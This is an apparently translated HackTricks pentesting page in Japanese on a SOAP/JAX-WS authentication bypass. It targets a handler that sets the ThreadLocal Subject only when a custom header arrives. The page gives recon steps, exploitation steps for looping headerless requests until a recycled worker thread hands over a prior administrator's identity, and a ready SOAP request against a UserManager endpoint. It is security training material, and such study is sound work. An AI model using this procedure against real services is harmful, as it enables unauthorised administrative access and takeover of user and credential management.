SOAP/JAX-WS ThreadLocal Authentication Bypass

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

TL;DR

  • 一部のミドルウェアチェーンは、認証済みの Subject/Principal を静的な ThreadLocal に格納し、プロプライエタリな SOAP header が到着したときにのみそれを更新します。
  • WebLogic/JBoss/GlassFish がワーカースレッドをリサイクルするため、そのヘッダを省略するとそのスレッドで最後に処理された特権な Subject がサイレントに再利用されます。
  • 脆弱なエンドポイントに対して、ヘッダなしだが整形式の SOAP ボディを連続送信し、再利用されたスレッドが盗用した管理者コンテキストを付与するまで試行します。

根本原因

以下のようなハンドラはカスタムヘッダが存在する場合にのみスレッドローカルの識別情報を上書きするため、前のリクエストのコンテキストが残存します:

public boolean handleMessage(SOAPMessageContext ctx) {
if (!outbound) {
SOAPHeader hdr = ctx.getMessage().getSOAPPart().getEnvelope().getHeader();
SOAPHeaderElement e = findHeader(hdr, subjectName);
if (e != null) {
SubjectHolder.setSubject(unmarshal(e));
}
}
return true;
}

Recon

  1. リバースプロキシ/ルーティングルールを列挙して、?wsdl をブロックする可能性があるが POST を受け付ける隠れた SOAP ツリーを特定する(80,443 - Pentesting Web Methodology のフローに沿ってマッピングする)。
  2. EAR/WAR/EJB アーティファクトを展開(unzip *.ear)し、application.xmlweb.xml@WebService アノテーション、ハンドラチェーン(例: LoginHandlerChain.xml)を確認して、ハンドラクラス、SOAP ヘッダの QName、および裏で動作する EJB 名を特定する。
  3. メタデータが欠けている場合は、ServiceName?wsdl の可能性のあるパスをブルートフォースするか、テスト環境のプロキシを一時的に緩めて回収した WSDL を Burp Suite Wsdler のようなツールにインポートしてベースラインのエンベロープを生成する。
  4. ハンドラのソースを確認し、認証ヘッダが欠落または不正な場合にクリアされない ThreadLocal 保持(例: SubjectHolder.setSubject())を探す。

Exploitation

  1. 正常なレスポンスコードや、無効なトークンに対して返されるエラーを把握するため、専用ヘッダを付けて有効なリクエストを送信する。
  2. 同じ SOAP ボディをヘッダを省略して再送する。XML を整形式に保ち、必要な名前空間を尊重してハンドラが正常に終了するようにする。
  3. リクエストをループで送信する。以前に特権操作を実行したスレッドに到達すると、再利用された Subject によりユーザーやクレデンシャル管理などの保護された操作が実行可能になる。
POST /ac-iasp-backend-jaxws/UserManager HTTP/1.1
Host: target
Content-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:jax="http://jaxws.user.frontend.iasp.service.actividentity.com">
<soapenv:Header/>
<soapenv:Body>
<jax:findUserIds>
<arg0></arg0>
<arg1>spl*</arg1>
</jax:findUserIds>
</soapenv:Body>
</soapenv:Envelope>

バグの検証

  • Attach JDWP (-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n) or similar debugging hooks to watch the ThreadLocal contents before and after each call, confirming that an unauthenticated request inherited a prior administrator Subject.

参考文献

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする